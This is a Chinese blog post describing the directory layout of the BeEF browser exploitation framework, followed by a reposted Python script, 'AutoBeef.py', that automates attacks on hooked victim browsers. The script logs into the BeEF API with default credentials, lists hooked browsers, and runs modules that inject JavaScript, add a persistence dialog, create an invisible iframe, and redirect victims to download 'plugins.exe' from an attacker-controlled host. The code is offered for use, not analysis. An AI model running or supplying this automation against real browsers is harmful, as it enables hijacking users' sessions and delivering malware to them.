美文网首页中国蓝
beef目录介绍

beef目录介绍

作者: 陈望_ning | 来源:发表于2018-12-27 09:41 被阅读0次

    BeEF目录

    用Ruby语言写的

    最主要的目录有三个,core、extension和modules,BEEF的核心文件在core目录下,各种扩展功能在extension目录下,modules则为攻击模块目录。

    core目录

    BEEF的核心目录,并负责加载扩展功能和攻击模块

    client目录下均为js文件,是在受控客户端(hooked browser)使用的js文件,包括net、browser、encode、os等的实现,以update.js为例,在core\main\client\update.js中可以看到,定义了beef.updater,设置每隔5秒check一次是否有新的命令,如果有,则获取并执行之。
    console目录用于命令行控制。
    constants目录定义了各种常量。
    handlers目录主要用于处理来自受控客户端连接请求。
    models目录定义了一些基本的类。
    rest目录,即WEB服务基于REST原则,是一种轻量级的HTTP实现

    extention目录

    admin_ui: 实现了一个WEB界面的控制后台。
    metasploit: 与metasploit互通相关的设置。
    requester: 负责处理HTTP请求
    config.yaml为作者和该扩展相关信息。
    api.rb为自身注册的一些API函数。
    models定义了一个http模型对象,例如,其中有个has_run属性,当请求未发送时,其值为”waiting”,发送攻击时,遍历状态为”waiting”的模块,并发送http请求。
    handler.rb 主要是处理http响应,收到响应后将相应的模块has_run状态置为complete,并保存到数据库。

    modules目录

    集合了BEEF的各个攻击模块,一般一个攻击模块分为3个文件:command.js、config.yaml、module.rb。这样的结构可以很方便地进行模块添加,易于扩展。
    config.yaml: 攻击模块相关信息,如名称、描述、分类、作者、适用场景等
    module.rb:文件定义了该攻击模块的类,继承了BEFF::Core::Command类,在通用command类的基础上定义一些该模块特有的处理函数,如使用较多的一个函数是post_execute,即攻击进行后进行的操作(一般为保存结果)
    自动化脚本python
    最近在学python写工具,所以最后收藏一个大佬分享的beef自动化脚本【加上了自己的理解】

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # ** Author: ssooking
    # ** Name: AutoBeef.py
    
    import json
    import urllib2
    import time
    
    hostlist = []
    hostdict = {}
    
    
    # 1、获得API key,每次开启beef都会不一样
    def getauthkey(host):
        # host 是hook页面的url
        # /api/admin/login是用户登录接口,通过
        # 该接口登录之后,我们可以得到用于会话认证的API key
        apiurl =  host + "api/admin/login"       
        logindata = {
            "username":"beef",
            "password":"beef"
        }
         # 对数据进行JSON格式化编码
        jdata = json.dumps(logindata)            
         # 生成页面请求的完整数据
        req = urllib2.Request(apiurl, jdata)     
        # 发送页面请求
        response = urllib2.urlopen(req)           
        # 获取服务器返回的页面信息,数据类型为str
        resdata = response.read()                 
        # 把数据解析成python对象,此时返回dict数据
        jsondata =  json.loads(resdata)           
        return jsondata['token']
    
    
    # 2、获得hook主机列表,session值就是cookie
    def getHookedBrowsersSession(host,authkey):
        # 用到了前面的API key
        f = urllib2.urlopen(host + "/api/hooks?token=" + authkey)
        data = json.loads(f.read())
        hookonline = data['hooked-browsers']['online']
        for x in hookonline:
            hookid = hookonline[x]['id']
            hookip = hookonline[x]['ip']
            hooksession = hookonline[x]['session']
            if hookid not in hostdict:
                hostdict[hookid] = hooksession
                print "\n[+] Hooked host id:  " + bytes(hookid) + "\n   >>> IP: " + bytes(hookip) + "\n   >>> Session: " + hooksession
    
    #3、模块使用 
    # 终端命令:curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{各个模块需要的额外的参数}' http://xxxxx/api/modules/【受害者浏览器】session/模块id?token=【authkey】
    #受害者在试图关闭选项卡时会向用户显示"关闭确认"对话框,
    #通过这种方式来增加shell的存活时间
    # persistence -> confirm close tab
    def sendConfirm(host, session, authkey):
        postdata = '{}'
        url = host + "api/modules/" + session + "/46?token=" + authkey
        #print url
        req = urllib2.Request(url, postdata)
        req.add_header("Content-Type", "application/json; charset=UTF-8")
        f = urllib2.urlopen(req)
        print "   >>> [+] Module Confirm Close Tab has been Executed ! "
        return f.read()         
    
    
    # 使用beef模块,弹窗功能
    # Misc -> IBM iNotes -> RAW js
    def execJavascript(host, session, authkey):
    
        payload={
            "cmd":"alert('Hello by ssooking!');"
        }
        # 169是beef模块的id
        apiurl = host + "api/modules/" + session + "/3?token=" + authkey
        jdata = json.dumps(payload)
        req = urllib2.Request(apiurl, jdata)
        req.add_header("Content-Type", "application/json; charset=UTF-8")
        response = urllib2.urlopen(req)
        resdata = response.read()
        print "   >>> [+] Module Raw JavaScript has been Executed ! "
        return resdata
    
    # 使受害者浏览器跳转到一个下载页面并下载。。。
    
    def redirectBrowser(host, session, authkey):
        payload = {"redirect_url":"http://192.168.137.134:8000/plugins.exe"}
        apiurl = host + "api/modules/" + session + "/42?token=" + authkey
        jdata = json.dumps(payload)
        req = urllib2.Request(apiurl, jdata)
        req.add_header("Content-Type", "application/json; charset=UTF-8")
        response = urllib2.urlopen(req)
        resdata = response.read()
        jsondata =  json.loads(resdata)
        print "   >>> [+] Module Redirect Browser has been Executed ! "
        return jsondata
    
    
    # 创建一个隐藏的Frame,target是目的地的url
    # Misc -> IBM iNotes -> Create Invisible iframe
    def createIFrame(host, sessionId, authkey):
        postdata = '{"target":"http://192.168.137.134:8000/"}'
        url = host + "api/modules/" + sessionId + "/4?token1=" + authkey
        req = urllib2.Request(url, postdata)
        req.add_header("Content-Type", "application/json; charset=UTF-8")
        f = urllib2.urlopen(req)
        print "   >>> [+] Module Create Invisible Iframe has been Executed ! "
        return f.read()
    
    
    
    
    def autoRunModules(host,session,authkey):
        # sendConfirm(host, session, authkey)
        execJavascript(host, session, authkey)
        # redirectBrowser(host, session, authkey)
    
    
    def timeRun(interval,host):
        authkey = getauthkey(host)
        print "[+] AutoBeef is running...."
        print "[+] BeEF KEY is : "+ authkey
        print "[+] Base BeEF API URL: "+ host + "api/"
        print "[+] Hook URL   : " + host + "hook.js"
        print "[+] Hook Demo  : " + host + "demos/basic.html"
        while True:
            try:
                getHookedBrowsersSession(host, authkey)
                for x in hostdict:
                    if hostdict[x] not in hostlist:
                        hostlist.append(hostdict[x])
                        autoRunModules(host,hostdict[x],authkey)
                time.sleep(interval)
            except Exception, e:
                print e
    
    if __name__ == '__main__':
        beefhost = "http://192.168.137.134:3000/"
        timeRun(3,beefhost)
    
    --------------------- 
    作者:Oldbowleeeee 
    来源:CSDN 
    原文:https://blog.csdn.net/Laon_Chan/article/details/78595682 
    

    低调求发展,潜心习安全

    相关文章

      网友评论

        本文标题:beef目录介绍

        本文链接:https://www.haomeiwen.com/subject/uenllqtx.html